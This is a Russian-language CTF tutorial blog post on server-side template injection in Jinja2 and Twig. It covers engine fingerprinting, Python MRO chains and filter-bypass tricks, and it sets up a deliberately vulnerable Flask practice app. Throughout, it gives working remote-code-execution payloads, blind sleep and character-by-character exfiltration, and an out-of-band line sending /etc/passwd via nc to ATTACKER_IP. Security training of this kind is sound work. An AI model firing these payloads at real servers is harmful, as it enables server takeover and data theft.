
На последнем CTF я убил 40 минут, пытаясь раскрутить XSS в поле ввода имени. Перебирал event-хендлеры, пробовал обходы фильтров — пока от отчаяния не отправил {{7*7}} и не увидел в ответе Hello 49!. Не клиентская инъекция. Пользовательский ввод попадал прямо в серверный шаблонизатор Jinja2, а от {{7*7}} до чтения /etc/passwd оставалось три payload'а. SSTI — распространённый класс уязвимостей в веб-приложениях, но в CTF он встречается ещё чаще. Авторы задач его любят за наглядную эскалацию: арифметика → утечка конфигурации → полный RCE за пять минут. Красиво.
Обе уязвимости эксплуатируют пользовательский ввод, который отображается на странице. Разница — в месте исполнения. XSS запускает скрипт в браузере жертвы, на стороне клиента. SSTI исполняет код в шаблонизаторе на сервере, в контексте приложения — часто с доступом к файловой системе и ОС. Чувствуете разницу? Подробнее — в нашем руководстве по создание ctf заданий.
Проверка занимает секунды. Отправляете в подозрительное поле {{7*7}}. Если ответ содержит 49 — шаблонизатор вычислил выражение на сервере. Перед вами SSTI. Если {{7*7}} отображается как есть, пробуйте ${7*7} (синтаксис Velocity, Freemarker) или <%= 7*7 %> (ERB). Каждый шаблонизатор использует свои разделители, но принцип один: если сервер вычисляет арифметику из пользовательского ввода — точка инъекции найдена.
<script>alert(1)</script> срабатывает в браузере — XSS. {{7*7}} вычисляется и возвращает 49 в HTML — SSTI. Одно поле может быть уязвимо к обоим классам одновременно, но вектор эксплуатации кардинально отличается. SSTI по классификации OWASP входит в A03:2021 Injection, а по MITRE ATT&CK успешная эксплуатация открывает технику Exploit Public-Facing Application (T1190, тактика Initial Access).
Бизнес-логика атаки через SSTI: злоумышленник получает исполнение кода на сервере, ставит веб-шелл (T1505.003, тактика Persistence), крадёт данные из базы, двигается дальше по внутренней сети. По отчёту Mandiant M-Trends 2025, эксплойты — наиболее распространённый вектор первичного доступа: 38% инцидентов с установленным initial access. SSTI — один из таких эксплойтов, и его критичность часто недооценивают. Поле ввода имени на странице приветствия выглядит безобидно — пока не становится точкой входа для полного компрометирования сервера.
Прежде чем строить payload, нужно понять, какой движок крутится на бэкенде. Методология PortSwigger строится как decision tree: отправляете последовательность тестовых выражений и по реакции сервера вычисляете движок.
Начинайте с универсального fuzz-вектора: ${{<%%'"}}%\. Если сервер вернёт ошибку — синтаксис шаблона распознан, точка инъекции существует. Дальше сужаем:
| Payload | Результат | Вероятный движок |
|---|---|---|
{{7*7}} → 49 |
Арифметика вычислена | Jinja2 или Twig |
${7*7} → 49 |
Арифметика вычислена | Freemarker или Velocity |
{{7*'7'}} → 7777777 |
Строка повторена | Jinja2 (Python) |
{{7*'7'}} → 49 |
Приведение к числу | Twig (PHP) |
Трюк с {{7*'7'}} — самый быстрый способ отличить Jinja2 от Twig. В Python выражение 7*'7' повторяет строку '7' семь раз → 7777777. В PHP '7' кастится к числу → 49. Это различие критически важно: payload'ы для этих движков совершенно разные.
Дополнительные признаки: если в ответе или ошибке мелькают jinja2.exceptions, TemplateSyntaxError — движок Python. Если Twig_Error_Syntax или Twig\Error — PHP. Ошибки шаблонизатора часто раскрывают не только движок, но и его версию — что упрощает подбор payload'а.
Выражение {{7*7}} доказывает инъекцию, но для RCE нужно добраться до модулей Python — конкретно до os.popen() или subprocess.Popen(). Проблема: Jinja2 не импортирует os в контекст шаблона по умолчанию. Решение — пройти по иерархии классов Python через MRO.
MRO (Method Resolution Order) — порядок, в котором Python ищет метод в иерархии наследования. Как отмечает исследователь Gus из OnSecurity, любой объект в Python наследуется от базового класса object. Через цепочку __class__.__mro__ можно подняться до object, а оттуда через __subclasses__() получить список ВСЕХ загруженных классов — включая те, что имеют доступ к файловой системе.
Пошаговая логика на примере пустой строки "":
"".__class__ → <class 'str'> — тип объекта"".__class__.__mro__ → (<class 'str'>, <class 'object'>) — цепочка наследования"".__class__.__mro__[1] → <class 'object'> — базовый класс"".__class__.__mro__[1].__subclasses__() — массив из сотен загруженных подклассовСреди подклассов object ищем класс, который умеет запускать команды ОС. Чаще всего это subprocess.Popen или os._wrap_close. Индекс класса зависит от версии Python и установленных библиотек — на одном сервере Popen может сидеть под номером 407, на другом — 351. Именно поэтому слепое копирование payload'а из writeup'а не работает: индекс нужно подбирать под конкретное окружение.
Укороченная альтернатива: __base__ эквивалентен __mro__[1] — оба дают доступ к object, но __base__ экономит символы. На CTF с ограничением длины payload'а это бывает решающим.
Полная цепочка RCE строится в четыре этапа. Первый — найти объект, доступный в контексте шаблона (в Flask это request, g, config, self или пустая строка). Второй — подняться до object через MRO. Третий — перебрать __subclasses__() и найти нужный класс. Четвёртый — вызвать метод с командой ОС.
Есть более прямой путь, если доступен объект request. Payload {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} обращается к глобальному пространству имён Flask-приложения, импортирует модуль os через __builtins__ и вызывает popen(). Работает на дефолтной конфигурации Flask без песочницы — именно то, что чаще всего попадается в CTF.
Альтернативный путь через self: payload {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}} использует внутренний объект cycler из контекста Jinja2, чтобы добраться до os через __globals__. По данным YesWeHack, этот вариант работает даже когда request заблокирован в контексте шаблона.
Для перебора индекса подкласса отправляйте {{"".__class__.__mro__[1].__subclasses__()}} — он выведет полный список классов. Ищите subprocess.Popen в ответе, записывайте индекс. Нашли Popen на позиции 407? Финальный payload: {{"".__class__.__mro__[1].__subclasses__()[407]('cat flag.txt',shell=True,stdout=-1).communicate()}}.
На CTF-тасках средней и высокой сложности авторы ставят WAF или блэклисты на определённые символы. Ниже — прогрессия обходов, основанная на исследовании Gus из OnSecurity. Каждый уровень снимает очередное ограничение.
Базовый payload: {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}.
Заблокирована точка — заменяем на синтаксис словаря: {{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}. В Python foo.bar и foo['bar'] для доступа к атрибутам в большинстве случаев эквивалентны.
Заблокированы точка и подчёркивание — используем hex-кодирование \x5f вместо _: {{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}.
Заблокированы точка, подчёркивание и квадратные скобки — переходим на Jinja2-фильтр attr():
{{request|attr('application')
|attr('\x5f\x5fglobals\x5f\x5f')
|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')
|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')
|attr('popen')('id')
|attr('read')()}}
Этот payload использует только круглые скобки, одинарные кавычки и pipe — минимальный набор символов. Gus разработал его для PayloadsAllTheThings (репозиторий swisskyrepo на GitHub), и именно этот вариант чаще всего решает CTF-таски с жёсткими фильтрами.
Ещё один приём — обход блокировки кавычек. По данным YesWeHack, если кавычки отфильтрованы, строку можно собрать из строкового представления globals через срез: {{self.__init__.__globals__.__str__()[1786:1788]}} вернёт подстроку из пространства имён. Индексы зависят от окружения, но на тестовом стенде Flask позиции подбираются за пару минут через бинарный поиск.
Иногда WAF блокирует {{ и }}. Многие CTF-игроки на этом останавливаются, считая инъекцию тупиковой. Но в Jinja2 есть альтернативные теги: {% %} для управляющих конструкций.
Идея: если шаблонизатор должен сравнить результат вызова функции со строкой — он СНАЧАЛА выполнит функцию. Это позволяет использовать конструкцию if для blind-выполнения команд:
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'x' %} a {% endif %}
Если сервер ответил с задержкой 5 секунд — команда выполнена. Для эксфильтрации данных применяется startswith() побуквенно, аналогично blind SQL-инъекции. Payload проверяет, начинается ли вывод id с определённого символа. По ответу сервера (содержит yes или нет) скрипт восстанавливает вывод побуквенно. OnSecurity опубликовал готовый Python-скрипт для такой автоматизации — он перебирает символы из string.printable и по binary-ответу шаблона собирает полный вывод.
Twig — шаблонизатор PHP, используется в Symfony и других фреймворках. В отличие от Jinja2, где нужно карабкаться по иерархии классов Python, в Twig путь к RCE часто короче. Но зависит от версии.
В старых версиях Twig (до 2.4) работал классический payload: {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}. Первое выражение регистрирует PHP-функцию system() как обработчик неизвестных фильтров. Второе вызывает несуществующий фильтр id, что триггерит system('id'). Результат — вывод команды прямо на странице. Элегантно.
Начиная с Twig 2.4 метод registerUndefinedFilterCallback удалён. Тут пригодится техника через фильтр map: payload {{['id']|map('system')|join}} передаёт строку 'id' через map, который вызывает system() для каждого элемента массива. Работает, когда system не в блэклисте. Заблокирован — пробуйте passthru, exec или shell_exec.
Для разведки в Symfony-приложениях полезен payload {{app.request.server.all|join(',')}} — он выведет серверные переменные окружения, включая пути, конфигурации и иногда секреты базы данных.
Если Twig настроен с auto-escaping и кавычки фильтруются, стандартные payload'ы ломаются. Исследователь Brumens из YesWeHack (доклад на Ekoparty 2024) предложил обходной путь через блоки Twig и встроенную переменную _charset:
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
Механика: блок U содержит строку id000passthru. Переменная x получает содержимое блока через block(), разбивает его по разделителю 000 на массив ['id', 'passthru']. Затем x|first (строка id) передаётся как аргумент в x|last (функция passthru) через фильтр map. Результат — выполнение passthru('id'). Ни одной кавычки в payload'е. Вот это я называю творческий подход.
Этот приём показывает ключевой принцип эксплуатации SSTI: если прямой путь закрыт — строим обходной из штатных механизмов самого шаблонизатора. Каждый фильтр, каждая встроенная переменная — потенциальный примитив для цепочки.
Для отработки техники разверните минимальное уязвимое приложение. Flask в 8 строк:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
name = request.args.get('name', 'World')
return render_template_string(f"Hello {name}!")
app.run(debug=True)
Запустите (pip install 'flask>=3.1.1' && python app.py) — версия 3.1.1+ закрывает известные DoS-уязвимости (GHSA-562c-5r94-xh97, GHSA-5wv5-4vpf-pj6m) — и откройте http://localhost:5000/?name={{7*7}}. Видите Hello 49! — стенд работает. Уязвимость тут в том, что name подставляется прямо в строку шаблона через f-string, а не передаётся как параметр: render_template_string("Hello {{name}}!", name=name). Вторая конструкция безопасна — пользовательский ввод обрабатывается как данные, а не как часть шаблона.
Отправьте ?name={{7*'7'}}. Ответ Hello 7777777! подтверждает Jinja2 (Python повторяет строку). Теперь выводим список подклассов: ?name={{"".__class__.__mro__[1].__subclasses__()}}. Сервер вернёт массив из сотен классов. Ищите в ответе subprocess.Popen — записывайте его индекс.
Если список слишком длинный для ручного поиска, отправьте ?name={{"".__class__.__mro__[1].__subclasses__()|length}} чтобы узнать общее количество, затем переберите диапазоны через Burp Intruder или скрипт на Python с requests.get().
Допустим, subprocess.Popen нашёлся на позиции 407. Финальный URL: ?name={{"".__class__.__mro__[1].__subclasses__()[407]('cat flag.txt',shell=True,stdout=-1).communicate()}}.
Если индекс правильный — в ответе будет содержимое flag.txt. Получили ошибку — пересчитайте индекс или попробуйте альтернативный класс (os._wrap_close, warnings.catch_warnings).
Быстрый альтернативный payload без перебора индексов: {{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}. Он использует __builtins__ для прямого импорта os — работает на дефолтном Flask без песочницы и не требует знания индекса подкласса. На CTF средней сложности решение обычно укладывается в этот единственный запрос.
Не каждый CTF-таск показывает результат инъекции. Иногда payload выполняется, но вывод подавляется — классический blind-сценарий. Тут начинается самое интересное.
Первый шаг — подтвердить выполнение через time-based вектор. Отправьте payload с sleep через {% %} конструкцию: если ответ задерживается на заданное время, код исполняется. Задержка в 5 секунд — достаточный индикатор.
Второй шаг — побуквенная эксфильтрация через startswith(). Payload проверяет, начинается ли вывод команды с определённого символа. По ответу сервера (True или False) скрипт восстанавливает вывод побуквенно. Медленно, но работает.
Третий вариант — out-of-band эксфильтрация. Payload с cat /etc/passwd | nc ATTACKER_IP 1337 отправляет вывод команды на netcat-listener атакующего. DNS-эксфильтрация через nslookup с контролируемым доменом работает не только в CTF, но и в реальных атаках: злоумышленник отправляет payload, который делает DNS-запрос, и по логам DNS-сервера подтверждает выполнение кода. В CTF-инфраструктуре исходящий доступ бывает ограничен, поэтому DNS-вектор часто надёжнее HTTP.
Для быстрой разведки есть tplmap — он автоматически определяет шаблонизатор и пытается эксплуатировать SSTI. Запуск: tplmap -u "http://target/?name=*" — звёздочка отмечает точку инъекции. Инструмент тестирует Jinja2, Twig, Freemarker, Mako, Velocity и другие движки; при обнаружении уязвимости предлагает интерактивный шелл.
Но полагаться только на автоматику — путь к разочарованию. На CTF с кастомными фильтрами tplmap не справляется: его дефолтные payload'ы блокируются WAF. Именно поэтому важно понимать механику MRO-цепочки и уметь собирать payload вручную. Автоматизация — для первичной разведки, ручная работа — для обхода нестандартных ограничений.
В Burp Suite для тестирования используйте Intruder с набором payload'ов из PayloadsAllTheThings (репозиторий swisskyrepo на GitHub) — самая полная коллекция SSTI-векторов, рассортированных по движкам. Repeater удобен для ручной итерации: отправили payload, посмотрели ответ, скорректировали, повторили. Этот цикл обычно занимает 5–10 минут на таск без WAF и 20–40 минут с фильтрами.
Статья покрыла два самых частых в CTF шаблонизатора, но SSTI существует и в Freemarker (Java), Mako (Python), Velocity (Java), ERB (Ruby), Razor (.NET). Принцип один: найти точку инъекции, определить движок, построить цепочку от встроенных объектов до вызова ОС. Различаются синтаксис и доступные примитивы, но методология — от арифметики через разведку объектов к RCE — остаётся универсальной.
Из практики последних двух лет: каждый третий web-таск средней сложности на CTF-площадках содержит либо SSTI, либо десериализацию. Разница в том, что SSTI обычно решается за 5–15 минут если понимаешь цепочку, а десериализация требует анализа gadget-классов и может затянуться на часы. Поэтому разведку веб-таска я всегда начинаю с трёх тестов: ' OR 1=1-- (SQLi), {{7*7}} (SSTI) и <script>alert(1)</script> (XSS). Два из трёх дают результат в первую минуту.
Что раздражает в большинстве writeup'ов по SSTI — авторы копируют готовый payload из PayloadsAllTheThings, получают флаг и не объясняют, ПОЧЕМУ цепочка работает. На CTF с нестандартным фильтром такие игроки теряются, потому что не понимают механику. __mro__, __subclasses__(), __globals__ — это не магические слова, а конкретные атрибуты объектной модели Python. Без понимания этой модели SSTI превращается в угадывание индексов. Хотите строить payload'ы под конкретный sandbox — разбирайте каждый элемент цепочки отдельно: запустите Python REPL, наберите "".__class__.__mro__, посмотрите что вернётся, пройдите по __subclasses__(), найдите Popen руками. Потом повторите то же самое через шаблон. На WAPT эту цепочку проходят в двух модулях с лабами — если цель OSCP и нужна подготовка по веб-части, там это покрывается в первой трети курса.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...